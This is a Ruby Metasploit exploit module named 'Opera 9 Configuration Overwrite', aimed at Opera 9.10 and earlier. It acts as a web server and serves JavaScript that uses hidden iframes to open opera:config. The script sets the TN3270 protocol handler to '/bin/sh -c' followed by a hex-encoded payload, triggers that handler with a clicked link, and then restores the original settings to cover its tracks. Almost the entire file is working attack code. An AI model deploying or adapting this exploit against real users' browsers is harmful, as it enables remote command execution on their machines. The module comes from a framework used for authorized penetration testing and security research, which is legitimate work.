modules/exploits/multi/browser/opera_configoverwrite.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::OPERA,
:ua_maxver => "9.10",
:os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],
:javascript => true,
:rank => ExcellentRanking, # reliable cmd exec, cleans up after itself
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,{
'Name' => 'Opera 9 Configuration Overwrite',
'Description' => %q{
Opera web browser in versions <= 9.10 allows unrestricted script
access to its configuration page, opera:config, allowing an
attacker to change settings and potentially execute arbitrary
code.
},
'License' => BSD_LICENSE,
'Author' =>
[
'egypt', # stolen from mpack
],
'References' =>
[
[ 'OSVDB', '66472'],
],
'Payload' =>
{
'EXITFUNC' => 'process',
'Space' => 2048,
'DisableNops' => true,
'BadChars' => " ",
},
'Platform' => %w{ unix },
'Targets' =>
[
#[ 'Opera < 9.10 Windows',
# {
# 'Platform' => 'win',
# 'Arch' => ARCH_X86,
# }
#],
[ 'Opera < 9.10 Unix Cmd',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
}
],
],
# Not sure when this was disclosed but it's been known since at
# least March 5, 2007, since that's the release date on the version
# of mpack I stole this from.
'DisclosureDate' => '2007-03-05',
'DefaultTarget' => 0
}))
end
def on_request_uri(cli, request)
print_status("Got request #{request.uri}")
case request.uri
when get_resource
print_status("Sending #{self.name}")
content = "<body><script>"
content << generate_evil_js(cli, request)
content << "</script></body>"
headers = { 'Content-Type' => 'text/html' }
else
print_status("404ing request for #{request.uri}")
send_not_found(cli)
return
end
send_response_html(cli, content, headers)
print_status("Done with request #{request.uri}")
end
def generate_evil_js(cli, request)
# There are a bunch of levels of quotes here, so the easiest way to
# make everything line up is to hex escape the command to run
p = regenerate_payload(cli).encoded
send_not_found(cli) && return if not p
shellcode = Rex::Text.to_hex(p, "%")
js = <<ENDJS
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.body.appendChild(blank_iframe);
blank_iframe_window.eval(
"config_iframe = document.createElement('iframe');" +
"config_iframe.setAttribute('id', 'config_iframe_window');" +
"config_iframe.src = 'opera:config';" +
"document.body.appendChild(config_iframe);" +
"cache_iframe = document.createElement('iframe');" +
"cache_iframe.src = 'opera:cache';" +
"cache_iframe.onload = function ()" +
"{" +
" config_iframe_window.eval" +
" (\\"" +
" old_handler = opera.getPreference('Network','TN3270 App');" +
" old_pref = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +
" shellcode = '#{shellcode}';" +
" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
" opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +
" app_link = document.createElement('a');" +
" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
" app_link.click();" +
" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
" setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +
" \\");" +
"};" +
"document.body.appendChild(cache_iframe);" +
"");
ENDJS
end
end